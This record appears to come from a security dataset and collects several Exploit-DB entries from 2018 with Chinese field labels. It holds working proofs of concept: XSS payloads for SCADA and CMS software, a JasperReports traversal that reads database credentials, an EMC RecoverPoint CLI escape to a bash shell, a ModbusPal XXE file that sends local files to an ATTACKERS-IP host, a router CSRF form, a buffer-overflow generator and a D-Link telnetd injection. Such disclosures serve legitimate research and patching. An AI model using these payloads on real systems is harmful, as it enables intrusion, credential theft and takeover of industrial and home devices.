QLWD/code_shield huggingface dataset:
标题: Rockwell Scada System 27.011 - Cross-Site Scripting EDB-ID: 44626 CVE: 2016-2279 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-05-16 漏洞利用脚本: # Exploit Title: Rockwell Scada System - Cross-Site Scripting
# Date: 2018-05-16
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://rockwellautomation.com/
# Software Link: http://compatibility.rockwellautomation.com/Pages/MultiProductDownload.aspx?famID=4
# Version: 1769-L16ER-BB1B, Version 27.011 and earlier, 1769-L18ER-BB1B, Version 27.011 and earlier, 
# 1769-L18ERM-BB1B, Version 27.011 and earlier, 1769-L24ER-QB1B, 
# Version 27.011 and earlier, 1769-L24ER-QBFC1B
# Version 27.011 and earlier, 1769-L27ERM-QBFC1B, Version 27.011 and earlier 
# 1769-L30ER Version 27.011 and earlier, 1769-L30ERM, Version 27.011 and earlier, 
# 1769-L30ER-NSE, Version 27.011 and earlier
# 1769-L33ER Version 27.011 and earlier, 1769-L33ERM, Version 27.011 and earlier, 1769-L36ERM, Version 27.011 and earlier 
# 1769-L23E-QB1B, Version 20.018 and earlier (Discontinued June 2016), and 1769-L23E-QBFC1B, Version 20.018 and earlier 
# (Discontinued June 2016).
# Tested on: Windows Machine and Chrome,Firefox explorer
# CVE : CVE-2016-2279

# PoC 
http://TargetIP/rokform/SysDataDetail?name=<<script>alert(1);</script> URL: https://www.exploit-db.com/exploits/44626
标题: WUZHI CMS 4.1.0 - 'tag[pinyin]' Cross-Site Scripting EDB-ID: 44618 CVE: 2018-10311 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-13 漏洞利用脚本: # Exploit Title: WUZHI CMS 4.1.0 XSS Vulnerability
# Date: 2018-4-23
# Exploit Author: jiguang (s1@jiguang.in)
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE: CVE-2018-10311

An issue was discovered in WUZHI CMS 4.1.0 (https://github.com/wuzhicms/wuzhicms/issues/131)
There is a xss vulnerability that can stealing administrator cookie, fishing attack, etc. via the tag[pinyin] parameter post to the /index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=?&_submenuid=?


`[POST /www/index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=95&_submenuid=101 HTTP/1.1
 Host: localhost
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Referer: http://localhost/www/index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=95&_submenuid=101
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 270
 Cookie: PHPSESSID=uk4g8bm4l96iv5rl6ej2re83a3;  EkT_uid=c%2FzWH2EByNj%2Fm78WencnAg%3D%3D;  EkT_username=oR5iColhZ3j6z343ib%2B9Lg%3D%3D;  EkT_wz_name=LVeemy520l5DQnc4SQGtsw%3D%3D;  EkT_siteid=Wl70z0XOgxO6TVPS70twsg%3D%3D;  EkT_qkey=jiPLTZIrWUySV8FmwZwibPjlIPfq0nTj
 Connection: close
 Upgrade-Insecure-Requests: 1
 
tag%5Btag%5D=jiguang&tag%5Btitle%5D=jiguang&tag%5Bkeyword%5D=jiguang&tag%5Bdesc%5D=jiguang&tag%5Bisshow%5D=1&tag%5Blinkageid%5D=0&LK2_1=0&##  tag%5Bpinyin%5D=ji%3Cimg%2Fsrc%3D1+onerror%3Dalert%28document.cookie%29%3E&tag%5Bletter%5D=&tag%5Burl%5D=&submit=%E6%8F%90+%E4%BA%A4](url)`

------------------ URL: https://www.exploit-db.com/exploits/44618
标题: JasperReports - (Authenticated) File Read EDB-ID: 44623 CVE: 2018-5430 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-05-03 漏洞利用脚本: TIBCO’s JasperReports (<=6.2.4, 6.3.0, 6.3.2-3, 6.4.0, 6.4.2, CE/ActiveMatrix BPM and Jaspersoft AWS with Multi-Tenancy/Reporting and Analytics for AWS <=6.4.2) is vulnerable to an authenticated file read and inclusion vulnerability by means of directory traversal. It is possible for an attacker, regardless of user permissions, to access or include files from within the filesystem hosting the application.

CVSS v3 Base Score: 7.7 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

- - -

## Bypassing JasperReports Access Controls
The following example allowed us to include an administrator JSP from a low privileged user (joeuser):

/jasperserver/flow.html?_flowId=sampleFlow&page=../../../jsp/modules/administer/adminImport

Which took us from:

getAttribute() @ HttpServletRequestParameterMap.java:57
> string[] = wrapper.getParameterValues("page")

To:

getResource() @ DirResourceSet.java:101
> file = new File(/home/rhino/jasperreports...mcat/webapps/jasperserver,"/WEB-INF/jsp/modules/administer/adminImport.jsp")

Due to a lack of input validation we found ourselves with the capability to traverse paths to a destination of our choice. Below you will find more Proof of Concepts (PoCs) of the the attack in question:

## Accessing Administrator Export Functions

/jasperserver-pro/___________?{param}=..

##  Accessing AWS Configuration Functions
/jasperserver-pro/flow.html?_flowId=sampleFlow&page=../../../jsp/modules/administer/awsConfiguration

The above issue allowed us to load privileged portions of the application geared towards the Administrator, thus bypassing access controls.

## Local File Read

The following command allowed us to read configuration files on the server, taking advantage of an unsanitized ‘page’ perimeter and reading configuration files. An attacker would use these credentials to further pivot across application and services. Although the above screenshot provides a randomly generated password for the occasion, we decided to blur it out of habit.

/jasperserver-pro/flow.html?_flowId=sampleFlow&page=../../../js.jdbc.properties;

## Local File Inclusion (JSP)

And in the event of a post-intrusion scenario, an attacker would need to upload an arbitrary JSP file, masqueraded as a regular file (sans .jsp) to the victims filesystem and execute something like the following via a local file inclusion:

/jasperserver-pro/flow.html?_flowId=sampleFlow&page=../../../jsp/modules/administer/file;
NOTE: Since the application appends ‘.jsp’ to the ‘page’ paramater value, normally you would end up with ../../../jsp/modules/administer/file.jsp. However, if we want to read configuration files we need to trick Java to read our desired file, and ignore the ‘.jsp’ addition. NULL bytes (%00) do not work, however we were able to bypass the problem by adding a semicolon to our desired file. URL: https://www.exploit-db.com/exploits/44623
标题: WUZHI CMS 4.1.0 - 'form[qq_10]' Cross-Site Scripting EDB-ID: 44617 CVE: 2018-10313 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-13 漏洞利用脚本: # Exploit Title: WUZHI CMS 4.1.0 XSS Vulnerability
# Date: 2018-4-23
# Exploit Author: jiguang (s1@jiguang.in)
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE: CVE-2018-10313

An issue was discovered in WUZHI CMS 4.1.0 (https://github.com/wuzhicms/wuzhicms/issues/133)
There is a xss vulnerability that can stealing administrator cookie, fishing attack, etc. via the form%5Bqq_10%5D parameter post to the /index.php?m=member&f=index&v=profile&set_iframe=1

`POST /wuzhi/www/index.php?m=member&f=index&v=profile&set_iframe=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/wuzhi/www/index.php?m=member&f=index&v=profile&set_iframe=1 Content-Type: application/x-www-form-urlencoded Content-Length: 74 Cookie: PHPSESSID=uk4g8bm4l96iv5rl6ej2re83a3; EkT_siteid=Wl70z0XOgxO6TVPS70twsg%3D%3D; EkT_qkey=jiPLTZIrWUySV8FmwZwibPjlIPfq0nTj; EkT_userkeys=e7%2FCIDS8IFYxTUG8kAb7Ww%3D%3D; EkT_truename=yuduo; EkT_auth=lwMUjMOtAXpsQyZViV3zkNdoXMK7Up5NWRRI4Ro4FDKECQHhZ1ntK0WcBotqHVYyx3z9AYABYpAsEx4OdqcExF5S1d7Gw31AvtN07WdqMw28yLCoyNv8RA%3D%3D; EkT__uid=ocqUyYLd7bm05%2Ft4KcS%2B6Q%3D%3D; EkT__username=URDJ1YisL%2BXkt7Mzgg3aNA%3D%3D; EkT__groupid=aZR0cJTYiMBkLfoq8PwJ0g%3D%3D; EkT_modelid=10; tFf_uid=ej6BNn7ulZVYfrHwlgXMvg%3D%3D; tFf_username=YuhCykTKqrPt5fHl2zROVg%3D%3D; tFf_wz_name=IAFonn80xi%2FUvXNXx8uR%2FQ%3D%3D; tFf_siteid=dUi1cO%2FrqMr0atgyt9b%2BNw%3D%3D; tFf_auth=EVUCupGrAYuOzHKFNYqbS%2B39rd2Ynyn74kyNU3KlUwiQCJGQMAgEMU0go7SqkJsUA8kNZq6BsF5nFNbEeL5ehNOQ5DkCGZ4h4JnRqFB8UFIh9kWHsJe84Q%3D%3D; tFf__uid=FM0wd0X5ONWZsKHK8N3j%2Fw%3D%3D; tFf__username=haycqodNzDQbfpqnsWY3xA%3D%3D; tFf__groupid=I7EFExZnf2tvQCMhDV%2B1nA%3D%3D; tFf_truename=yuduo; tFf_modelid=10; SwW_uid=Bk1YojgAB4vSAv%2BmPy3WYg%3D%3D; SwW_username=BTEh6yj6GaEMdyByi0JOZw%3D%3D; SwW_wz_name=8vypKiZ6Ck1JQloRN3gGZQ%3D%3D; SwW_siteid=jm2uH%2FJAmU8uh1X4AlQ1nQ%3D%3D; SwW_qkey=sSAglhFB%2F04GAI1A3H4vDpnfBjktIjQO; SwW_truename=yuyuyu; SwW_auth=qVG8d0BqbIYaHf7emEsG%2Bz%2Fo4LTxYomIRzLjUyu1wWd0BfW4Eucw1UXVm3OTEBexHDGzzwvYarSW62r%2F%2BZrP6RZloFSgyn1%2B5QSsfVv8XDbbIN5Wzd32rQ%3D%3D; SwW__uid=SQgSrskOQqPeThE7vxpQuQ%3D%3D; SwW__username=ZnY2K%2B8IB6WgdsrHTD%2F%2Fzg%3D%3D; SwW__groupid=wVnor3QYe03CC%2B9JInwPIQ%3D%3D; SwW_modelid=10 Connection: close Upgrade-Insecure-Requests: 1

`form%5Bqq_10%5D`=234234" onmouseover="confirm(22)&submit=%E6%8F%90%E4%BA%A4`

------------------ URL: https://www.exploit-db.com/exploits/44617
标题: VirtueMart 3.1.14 - Persistent Cross-Site Scripting EDB-ID: 44625 CVE: 2018-7465 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-16 漏洞利用脚本: # Exploit Title: VirtueMart 3.1.14 - Persistent Cross-Site Scripting
# Date: 2018-02-25
# Software Link: http://virtuemart.net/
# Exploit Author: Mattia Furlani
# CVE: CVE-2018-7465
# Category: webapps

# 1. Description
# An XSS issue was discovered in VirtueMart before 3.2.14. All the textareas in the admin area of the plugin can be closed by simply adding </textarea> to the value and saving the product/config. By editing back the product/config, the editor's browser will execute everything after the </textarea>, leading to a possible XSS.

# 2. Proof of Concept
Having the permissions to edit the config/products, you can simply write </textarea><script>alert(1)</script> inside a textarea, when someone will edit it back the alert will execute on the editor's browser

# 3. Solution: Upgrade to 3.2.14
# http://virtuemart.net/news/489-virtuemart-3-2-14-security-release-and-enhanced-invoice-handling URL: https://www.exploit-db.com/exploits/44625
标题: Open-AudIT Community 2.2.0 - Cross-Site Scripting EDB-ID: 44613 CVE: 2018-10314 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-05-11 漏洞利用脚本: # Exploit Title: Open-AudIT Community - 2.2.0 – Cross-Site Scripting
# Exploit Author: Tejesh Kolisetty     #
# Vendor Homepage: https://opmantek.com/
# Software Link: https://opmantek.com/network-tools-download/
# Affected Version: 2.2.0
# Category: WebApps
# Tested on: Win7 Professional
# CVE : CVE-2018-10314

# 1. Vendor Description:
# Network Discovery and Inventory Software | Open-AudIT | Opmantek
# Discover what's on your network. Open-AudIT is the world's leading network discovery, inventory and audit program. Used by over 10,000 customers.

# 2. Technical Description:
# Cross-site scripting (XSS) vulnerability found in Multiple instances of Open-AudIT Community - 2.2.0 that allows remote attackers to inject arbitrary web script or HTML, as demonstrated in below POC.

# 3. Proof of Concept:
# a) Login as user who is having access to download scripts
# b) Navigate to Discover -> Audit Scripts -> List Scripts -> Download
# c) Now click Download any script
# d) Now capture the request using the Burp suit tool and append below payload to ‘action’ variable payload: =download"><script>alert(‘XSS’)</script>
# e) Then the script is executed on the browser and shows the popup.

# Multiple Instances:
Discover -> Audit Scripts -> List Scripts -> Download
Admin -> Logs -> View System Logs
Admin -> Logs -> View Access Logs
etc.,.

# 4. Solution:     
# Upgrade to latest release Open-AudIT 2.2.1
# http://dl-openaudit.opmantek.com/OAE-Win-x86_64-release_2.2.1.exe URL: https://www.exploit-db.com/exploits/44613
标题: EMC RecoverPoint 4.3 - 'Admin CLI' Command Injection EDB-ID: 44614 CVE: 2018-1185 类型: LOCAL 平台: WINDOWS 发布日期: 2018-05-11 漏洞利用脚本: # Exploit Title: EMC RecoverPoint 4.3 - Admin CLI Command Injection
# Version: RecoverPoint prior to 5.1.1 RecoverPoint for VMs prior to 5.0.1.3
# Date: 2018-05-11
# Exploit Author: Paul Taylor
# Github: https://github.com/bao7uo
# Tested on: RecoverPoint for VMs 4.3, RecoverPoint 4.4.SP1.P1
# CVE: CVE-2018-1185
 
1. Description

An OS command injection vulnerability resulting in code execution as the built-in admin user. 

A crafted entry can result in the ability to escape from the restricted admin user's menu driven CLI to a full Linux operating system shell in the context of the admin user. The attack vector is the trap destination (hostname/IP) parameter of the test_snmp function.
 
2. Proof of Concept

RecoverPoint> test_snmp
Enter the trap destination (host name or IP)
 > /dev/null 2>&1 ; bash #
admin@RecoverPoint:/home/kos/cli$ exit
exit
Test completed successfully.
RecoverPoint> 

3. Solution:
    
Update to latest version of RecoverPoint URL: https://www.exploit-db.com/exploits/44614
标题: Open-AudIT Professional - 2.1.1 - Cross-Site Scripting EDB-ID: 44612 CVE: 2018-9155 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-05-11 漏洞利用脚本: # Exploit Title: Open-AudIT Professional 2.1.1 – Multiple Cross-Site Scripting 
# Exploit Author: Tejesh Kolisetty
# Vendor Homepage: https://opmantek.com/
# Software Link: https://opmantek.com/network-tools-download/
# Affected Version: 2.1.1
# Category: WebApps
# Tested on: Win7 Professional
# CVE : CVE-2018-9155

# 1. Vendor Description:
# Network Discovery and Inventory Software | Open-AudIT | Opmantek
# Discover what's on your network. Open-AudIT is the world's leading network discovery, inventory and audit program. Used by over 10,000 customers.

# 2. Technical Description:
# Cross-site scripting (XSS) vulnerability found in Multiple instances of
Open-AudIT Professional - 2.1.1 that allows remote attackers to inject
arbitrary web script or HTML, as demonstrated in below POC.

# 3. Proof of Concept:
# a) Login as user who is having Attributes Creation role
# b) Navigate to Manage -> Attributes -> Create Attributes
# c) Now fill the form with XSS payload in ‘Name’ field and submit payload: <script>alert('XSS')</script>
# d) Once the data is saved, the script get executed.

# Multiple Instances:
Admin -> Logs -> View System Logs
Manage -> Attributes -> Create Attributes
Manage -> Users -> Create Users

# 4. Solution:
# Clone with below Gits:
# https://github.com/Opmantek/open-audit/commit/aab685484446126a58a49b994ba5dfae6e92f4db#diff-e6d7b17fe09e809cb98cdf38b7f12638
# https://github.com/Opmantek/open-audit/commit/755a9af8895a9e28fac82d8add7012f77bb9a8d2
# Or Upgrade to latest release Open-AudIT Professional
# https://opmantek.com/network-tools-download/ URL: https://www.exploit-db.com/exploits/44612
标题: ModbusPal 1.6b - XML External Entity Injection EDB-ID: 44607 CVE: 2018-10832 类型: WEBAPPS 平台: JAVA 发布日期: 2018-05-10 漏洞利用脚本: [+] Exploit Title: ModbusPal XXE Injection
[+] Date: 05-08-2018
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://modbuspal.sourceforge.net/
[+] Software Link: https://sourceforge.net/projects/modbuspal/files/latest/download?source=files
[+] Version: 1.6b
[+] Tested on: Ubuntu 16.04 with Java 1.8.0_151
[+] CVE: CVE-2018-10832

1. Vulnerability Description

ModbusPal 1.6b is vulnerable to an XML External Entity (XXE) attack.  Projects are saved as .xmpp files and automations can be exported as .xmpa files, both XML-based and vulnerable to XXE injection.  Sending a crafted .xmpp or .xmpa file to a user, when opened/imported in ModbusPal 1.6b, will return the contents of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting evil.xml)

b.) Contents of hosted "evil.xml"

<!ENTITY % data SYSTEM "file:///etc/issue">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKERS-IP:9999/?%data;'>">

c.) Example Exploited "xxe.xmpa"

<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/evil.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<!DOCTYPE modbuspal_automation SYSTEM "modbuspal.dtd">

<modbuspal_automation>

<automation name="temp" step="1.0" loop="true" init="0.0">

</automation>

</modbuspal_automation>

3. Additional Details

Java 1.7 contains certain defenses against XXE, including throwing a java.net.MalformedURLException when certain characters (such as '/n') are included in a URL.  This means that the file exfiltrated in the above attack is limited to single line files that dont contain any restricted characters.  The above POC uses /etc/issue, which is one of the few common linux files that meets this criteria.  Exploitation of this vulnerability on later versions of Java requires a more creative approach than described above, such as using FTP instead of URL to exfiltrate /etc/passwd. URL: https://www.exploit-db.com/exploits/44607
标题: MyBB Latest Posts on Profile Plugin 1.1 - Cross-Site Scripting EDB-ID: 44608 CVE: 2018-10580 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-10 漏洞利用脚本: # Exploit Title: MyBB Latest Posts on Profile Plugin v1.1 - Cross-Site Scripting
# Date: 4/20/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=914
# Version: 1.1
# Tested on: Ubuntu 17.10
# CVE: CVE-2018-10580


1. Description:
Adds a new section to user profiles that will display their last posts.
 

2. Proof of Concept:

Persistent XSS
- Create a thread with the following subject <script>alert('XSS')</script>
- Now visit your profile to see the alert.


3. Solution:
I reported the plugin twice over the past 3 weeks and recieved no response.


The following should be added in line 236 to properly sanitize thread subjects.

$d['tsubject'] = htmlspecialchars_uni($d['tsubject']); URL: https://www.exploit-db.com/exploits/44608
标题: Fastweb FASTGate 0.00.47 - Cross-Site Request Forgery EDB-ID: 44606 CVE: 2018-6023 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-05-10 漏洞利用脚本: # Exploit Title: Fastweb FASTgate 0.00.47 CSRF
# Date: 09-05-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Fastweb
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
# Version: 0.00.47
# CVE: CVE-2018-6023

I DESCRIPTION
========================================================================

An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site request forgery (CSRF) vulnerability allows remote attackers to hijack the authentication of users for requests that modify the configuration. This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password changing, etc.
The vulnerability was disclosed to Fastweb on 19 January 2018.
Fastweb independently patched customer devices with non-vulneable version .67 from December 2017 thru March 2018.

II PROOF OF CONCEPT
========================================================================

## Activate Gues Wi-Fi:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.254/status.cgi">
      <input type="hidden" name="&#95;" value="1516312144136" />
      <input type="hidden" name="act" value="nvset" />
      <input type="hidden" name="hotspot&#95;broadcast&#95;ssid" value="1" />
      <input type="hidden" name="hotspot&#95;enable" value="1" />
      <input type="hidden" name="hotspot&#95;filtering" value="all" />
      <input type="hidden" name="hotspot&#95;security" value="WPA2PSK" />
      <input type="hidden" name="hotspot&#95;ssid" value="GUEST&#45;Test" />
      <input type="hidden" name="hotspot&#95;timeout" value="&#45;1" />
      <input type="hidden" name="service" value="wl&#95;guestaccess" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

III REFERENCES
========================================================================
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/ URL: https://www.exploit-db.com/exploits/44606
标题: DeviceLock Plug and Play Auditor 5.72 - Unicode Buffer Overflow (SEH) EDB-ID: 44590 CVE: 2018-10655 类型: LOCAL 平台: WINDOWS 发布日期: 2018-05-06 漏洞利用脚本: # Exploit Title: DeviceLock Plug and Play Auditor 5.72 - Unicode Buffer Overflow (SEH)
# Date: 2018-05-04
# Exploit Author: Youssef mami
# Vendor Homepage: https://www.devicelock.com/freeware.html/
# Version: 5.72
# CVE : CVE-2018-10655

# Security Issue:

DeviceLock Plug and Play Auditor "DLPnpAuditor.exe" is vulnerable to a Unicode type of buffer overflow, when supplied a specially crafted textfile using the "scan network" from file option.
The buffer overload payload will get converted to unicode character encoding. Unicode support is used by applications for internationalization purposes allowing a consistent way to visually
represent different character sets on most systems around the world. 

e.g.

Before our buffer overflow payload was put on the stack it was expanded with 0x00 so "RRRR" transforms to Unicode representation of "00520052"
(52 is HEX for Ascii char R) containing 0's (NULL) values. Therefore, attempting to exploit the vulnerable program needs an unicode compatiable address
(address with null bytes) and using encoding methods like "alpha2" encoder tool.

Stack dump:

SEH chain of main thread
Address    SE handler
0018EE00   ntdll.771B34DD
0018FBD4   00520052
00520052   A42F0000
E5C1411F   *** CORRUPT ENTRY ***

EAX 00000000
ECX 00520052
EDX 771B34DD ntdll.771B34DD
EBX 00000000
ESP 0018EDEC
EBP 0018EE0C
ESI 00000000
EDI 00000000
EIP 00520052
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 4020  Cond 1 0 0 0  Err 0 0 1 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1



# Exploit/POC:

1) Create POC textfile
2) Under File menu "Scan Network" choose "From file" under drop down menu.
3) Choose the exploit file select the Scan "Domain" box and run it.

#Unicode SEH Buffer Overflow
#https://www.devicelock.com/download/

PAYLOAD="A"*1036+"R"*8+"B"*56      #Control SEH
file=open("devicelock-bof.txt","w")
file.write(PAYLOAD)
file.close()

print 'DeviceLock Plug and Play Auditor v5.72 (freeware)'
print 'Exploit POC file created.'
print 'hyp3rlinx'


# Disclosure Timeline:
Vendor Notification:  April 17, 2018
No reply
Vendor Notification: April 22, 2018
No reply
May 6, 2018 : Public Disclosure URL: https://www.exploit-db.com/exploits/44590
标题: DLINK DCS-5020L - Remote Code Execution (PoC) EDB-ID: 44580 CVE: 2017-17020 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-03-27 漏洞利用脚本: “The DCS-5020L Wireless N Day & Night Pan/Tilt Cloud Camera is a day/night network camera that easily connects to your existing home network for remote viewing on a range of mobile devices. It features pan, tilt and digital zoom function to allow you to see a wider area with a single camera, built-in Wi-Fi extender to effortlessly expand your wireless coverage, night vision up to 5 metres, sound and motion detection for the ultimate in peace of mind, and H.264 video compression for a high-quality image.”

This walkthrough demonstrates just how easy it can be to find vulnerabilities in Internet of Things (IOT) devices. The process of finding the following command injection can be broken down into 3 steps that are more akin to a 100 point CTF challenge: download binary, run strings, trace input to system call to origin.





An attacker can escape the ‘sed’ command with a simple payload, such as ‘`touch a`’. Another example that fits is AdminID=a’`telnetd`’, which allows a user to login as “a”, which becomes the new root account:

Source: https://www.fidusinfosec.com/dlink-dcs-5030l-remote-code-execution-cve-2017-17020/ URL: https://www.exploit-db.com/exploits/44580